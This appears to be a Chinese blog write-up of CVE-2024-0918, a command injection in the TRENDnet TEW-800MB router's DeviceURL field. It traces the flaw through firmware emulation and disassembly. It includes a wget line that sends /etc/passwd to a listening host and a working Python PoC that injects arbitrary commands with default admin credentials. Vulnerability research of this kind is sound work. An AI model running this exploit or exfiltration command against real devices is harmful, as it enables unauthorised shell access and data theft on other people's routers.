CVE-2024-0918 TEW-800MB RCE漏洞分析

news2024/11/17 8:25:59
漏洞描述

固件版本为1.0.1.0的TEW-800MB路由器存在命令注入漏洞。如果攻击者获得了web管理权限,他们可以将命令注入到httpd未知函数中的post请求参数DeviceURL中,从而获得shell权限。。

参考链接

TEW-800MB (notion.site)icon-default.png?t=N7T8https://warp-desk-89d.notion.site/TEW-800MB-1f9576ce12234b72b08b9c7f4c7d32a6?pvs=4

本次我们来分析固件web漏洞

由于也是涉及大量的开发知识,本次分析不可能面面俱到。凭借着开发经验我们无需关注那么多的函数传递的细节,结合关键字 大胆猜测 在进行大量模糊测试验证自己的想法。

漏洞环境搭建

固件下载https://www.trendnet.com/support/support-detail.asp?prod=100_RB-TEW-800MB

仿真环境GitHub - pr0v3rbs/FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis

sudo ./run.sh -d TRENDnet ../fw_tew800mb\(v1.0.1.0\)_08012013/FW_TEW800MB\(v1.0.1.0\)_08012013.bin
漏洞分析

此次漏洞接口uapply.cgi

使用binwalk 解压固件的文件系统,先分析下相关前端代码

分析下这个表单 from

<form method="post" name="DeviceNameURL" action="/uapply.cgi" onsubmit="return checkDeviceURL();">
<input type="hidden" name="page" value="/adm/management.asp">
<input type="hidden" name="token" value="<% genToken(); %>">
<div id="box_deviceUrlSettings">
<table width="100%" class="tbl_main">
   <tr>
      <td class="CT" colspan="2"><!--#tr id="mg.17"-->Device URL Settings<!--#endtr--></td>
   </tr>
   <tr>
      <td class="CL"><!--#tr id="mg.18"-->Device URL<!--#endtr--></td>
      <!-- Ricky Cao: Exactly, the length of predefned URL has not be limited in kernel level (bridge code) -->
      <td class="CR"><input type="text" name="DeviceURL" id="DeviceURL" size="32" maxlength="64" value="<% nvram_get("DeviceURL"); %>"></td>
   </tr>
</table>
<table width="100%" class="tbl_main">
   <tr align="center">
      <td>
         <input type="submit" class="button1" value="<!--#tr id="apply"-->Apply<!--#endtr-->" /> &nbsp; &nbsp;
         <input type="reset"  class="button1" value="<!--#tr id="cancel"-->Cancel<!--#endtr-->" onclick="window.location.reload()" />
         <input type="hidden" class="button1" name="action" value="Apply">    
         <input type="hidden" name="DeviceURL" value="setDeviceURL">    
      </td>
   </tr>
</table>
</div>
</form>

这个表单提交给/uapply.cgi

可有属性 page token DeviceURL action=(Apply) DeviceUR=(setDeviceURL)(默认值)

接下里使用ida pro 分析 此次的http服务 httd

搜索相关关键字DeviceURL 分析参数传递后做了怎么的处理。或者搜索system 查看调用的参数是否为我们可控

有echo %s 的执行, 查看伪代码

v48 是v47来的 v47是nvram_get("DeviceURL")来的 。DeviceURL很有可能是我们传递的参数

由此我们可以向其中注入命令

漏洞复现

我们先登录前端管理页面 用户名密码都为admin

之后访问/adm/management.asp页面

看来DeviceURL 就在这里了。 我们打一个http请求,本地监听4444端口

注意js会拦截检测,我们直接把它删掉。点击apply

点击之后我们立马收到了请求

漏洞复现成功,我们可以尝试数据外带wget http://192.168.116.131:4444?$(cat /etc/passwd)

附赠poc


import requests
import base64 
import re

if __name__ == '__main__':
    print('start !!! ')

    target = input("Enter Target IP : ")
    username = input("Enter Username : ")
    password = input("Enter Password : ")
    cmd = input("Enter you want cmd : ")
    auth = username + ":" + password
    hash = base64.b64encode(auth.encode('utf-8')).decode('utf-8')
    s = requests.Session()

    headers = {
        'User-Agent': "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0",
        'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        'Accept-Language': "en-US,en;q=0.5",
        'Accept-Encoding': "gzip, deflate, br",
        'Authorization': f'Basic {hash}',
        'Connection': "close",
        'Cookie': "expandable=6c",
        'Upgrade-Insecure-Requests': "1"
    }
    response = s.request("GET", f'http://{target}/adm/management.asp', headers=headers)

    data = response.text

    token_pattern = r'name="token" value="([^"]+)"'
    token_match = re.search(token_pattern, data)
    if token_match:
        token_value = token_match.group(1)
    else:
        token_value = "Token not found"
        print(token_match)
        exit


    burp0_url = "http://" + target + "/uapply.cgi"
    burp0_headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Authorization': f'Basic {hash}',
        'Connection': 'close',
        'Cookie': 'expandable=6c',
        'Upgrade-Insecure-Requests': '1'
    }

    # Form data to be sent in POST request
    burp0_data = {
        'page': '/adm/management.asp',
        'token': f'{token_value}',
        'DeviceURL': f'tew-800mb`{cmd}`',
        'action': 'Apply',
        'apply_do': 'setDeviceURL',
    }
    s.post(burp0_url, headers=burp0_headers, data=burp0_data)

    print("end !!! ")

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1462715.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

盘点那些世界名校计算机专业采用的教材

清华、北大、MIT、CMU、斯坦福的学霸们在新学期里要学什么&#xff1f;今天我们来盘点一下那些世界名校计算机专业采用的教材。 书单目录 1.《深入理解计算机系统》&#xff08;原书第3版&#xff09;2. 《算法导论》&#xff08;原书第3版&#xff09;3. 《计算机程序的构造和…

【已解决】Zip压缩文件设置了密码怎么办?

Zip是一种常见的压缩格式文件&#xff0c;文件还可以设置密码保护。那设置了密码的Zip文件要如何打开呢&#xff1f;不清楚的小伙伴一起来看看吧。 想要打开带密码的Zip文件&#xff0c;我们需要用到适用于Zip格式的解压缩软件&#xff0c;比如WinRAR或者7-Zip软件都是可以的。…

【数据结构】_队列

目录 1.概念 2.队列的使用 3.队列模拟实现 4.循环队列 5.双端队列 6.栈与队列的互相实现 6.1 用队列实现栈 6.2 用栈实现队列 1.概念 &#xff08;1&#xff09;队列是只允许在一端进行插入数据操作&#xff0c;在另一端进行删除数据操作的特殊线性表&#xff1b; &am…

PyTorch深度学习实战(37)——CycleGAN详解与实现

PyTorch深度学习实战&#xff08;37&#xff09;——CycleGAN详解与实现 0. 前言1. CycleGAN 基本原理2. CycleGAN 模型分析3. 实现 CycleGAN小结系列链接 0. 前言 CycleGAN 是一种用于图像转换的生成对抗网络(Generative Adversarial Network, GAN)&#xff0c;可以在不需要配…

分布式事务-CAP定理+BASE理论+解决方案(两阶段提交+TCC事务)

事务就是指一个操作单元&#xff0c;操作单元中的所有操作要么同时成功要么同时失败。单体项目中的事务一般都是使用数据库提供的事务机制来完成的&#xff0c;但是分布式事务的事务参与者位于不同的节点上&#xff0c;也就是分布在不同的服务器上。分布式事务的最大问题就是各…

安卓游戏开发之音频技术优劣分析

一、引言 在安卓游戏开发中&#xff0c;音频处理技术扮演着至关重要的角色&#xff0c;它不仅能够增强游戏的沉浸感和玩家体验&#xff0c;还能通过声音效果传达关键的游戏信息。以下将对几种常见的安卓游戏音频处理技术进行优劣分析&#xff0c;并结合应用场景来阐述其特点。 …

Jmeter之内置函数__property和__P的区别

1. __property函数 作用 读取 Jmeter 属性 语法格式 ${__property(key,var,default)} 参数讲解 小栗子 ${__property(key)} 读取 key 属性如果找不到 key 属性&#xff0c;则返回 key&#xff08;属性名&#xff09; ${__property(key,,default)} 读取 key 属性如果找不到 k…

Linux内核中并发与竞争的处理方法之原子操作简介

一. 简介 当我们发现驱动程序中存在并发和竞争的时候一定要处理掉&#xff0c;接下来我们依次来学习一下 Linux 内核提供的几种并发和竞争的处理方法。 本文学习Linux内核提供的一种处理并发与竞争的方法&#xff1a;原子操作。 二. 原子操作简介 原子操作就是指不能再进一步…

【旧文更新】基于STM32L496的低功耗ADXL345加速度读取、TMP75温度检测

【旧文更新】基于STM32L496的低功耗ADXL345加速度读取、TMP75温度检测 文章目录 关于旧文新发加速度和温度检测附录&#xff1a;Cortex-M架构的SysTick系统定时器精准延时和MCU位带操作SysTick系统定时器精准延时延时函数阻塞延时非阻塞延时 位带操作位带代码位带宏定义总线函…

抖音小店怎么做起来?分享几种起店方式,新手商家认真选择!

大家好&#xff0c;我是电商糖果 网上关于抖音小店的起店方式有很多&#xff0c;有人说这种模式利润高&#xff0c;有人说这种模式长久。 东听一句&#xff0c;西听一句&#xff0c;让很多朋友感到比较迷茫。 根本不知道哪种方式更适合自己。 这里糖果就把网上最常见的五种…

线性代数:线性方程组解的结构

目录 齐次/非齐次方程组的解 Ax 0 的解的性质 定理 Ax b 的解的性质 相关证明 例1 例2 例3 齐次/非齐次方程组的解 Ax 0 的解的性质 定理 Ax b 的解的性质 相关证明 例1 例2 例3

2023年12月 Python(五级)真题解析#中国电子学会#全国青少年软件编程等级考试

Python等级考试(1~6级)全部真题・点这里 一、单选题(共25题,共50分) 第1题 下面代码的输出结果是?( ) dict1 = {1: 10, 2: 20, 3: 30} dict2 <

C#,大规模图(Large Graph)的均匀成本搜索之迪杰斯特拉(Dijkstra)算法与源代码

1 均匀成本搜索 均匀成本搜索是迪杰斯特拉算法的变体。这里&#xff0c;我们不是将所有顶点插入到一个优先级队列中&#xff0c;而是只插入源&#xff0c;然后在需要时一个接一个地插入。在每一步中&#xff0c;我们检查项目是否已经在优先级队列中(使用访问数组)。如果是&…

Day04 嵌入式---基本定时器

定时器概述 1、软件定时原理 使⽤纯软件的⽅式实现定时功能。 存在的问题&#xff1a;定时不太精准。CPU死等。 1&#xff09;压栈出栈需要花费时间 2&#xff09;ARM流⽔线体系架构的原因 2、定时器定时原理 使用精准的时基&#xff0c;通过硬件方式&#xff0c;实现定…

k-邻近算法(kNN)

目录 k-近邻算法概述 k-近邻算法的一般流程 kNN算法伪代码 k-近邻算法概述 优点&#xff1a;精度高、对异常值不敏感、无数据输入假定 缺点&#xff1a;计算复杂度高、空间复杂度高 适用数据范围&#xff1a;数值型和标称型 k-近邻算法的一般流程 &#xff08;1&#x…

mybatis数据操作语句

//基于注解 Mapper public interface reboudapt {Select("select * from dept")List<dept> huoqudept();//删除语句Delete("delete from dept where id #{id}")void deletesc(Integer id);//增加语句Insert("insert into dept(name, create_t…

Kubernetes服务网络Ingress网络模型分析、安装和高级用法

文章目录 1、Ingres简介2、Ingres网络模型分析3、安装Ingress4、使用4.1、搭建测试环境4.2、域名访问4.3、路径重写&#xff08;高级用法&#xff09;4.4、流量限制&#xff08;高级用法&#xff09; 5、总结 1、Ingres简介 Ingress翻译过来是“入口”的意思&#xff0c;也就是…

如何使用CanaryTokenScanner识别Microsoft Office文档中的Canary令牌和可疑URL

关于CanaryTokenScanner CanaryTokenScanner是一款功能强大的Canary令牌和可疑URL检测工具&#xff0c;该工具基于纯Python开发&#xff0c;可以帮助广大研究人员快速检测Microsoft Office和Zip压缩文件中的Canary令牌和可疑URL。 在网络安全领域中&#xff0c;保持警惕和主动…

小程序端学习

P2 创建Uni-app 分离窗口 一样的Ctrl S P3 细节知识点 创建新的小程序页面

Vulhub 练习 DC-4靶机完整复现

1.工具 kali:攻击机 IP地址&#xff1a;192.168.200.4 DC-4&#xff1a;靶机 IP地址&#xff1a;暂时未知 2.注意 这里搭建环境两台机器应该选用同类的网络连接方式&#xff1a;这里两台的连接方式为模式 二、信息收集 1.主机发现 找寻同网段下存活的主机&#xff08;可…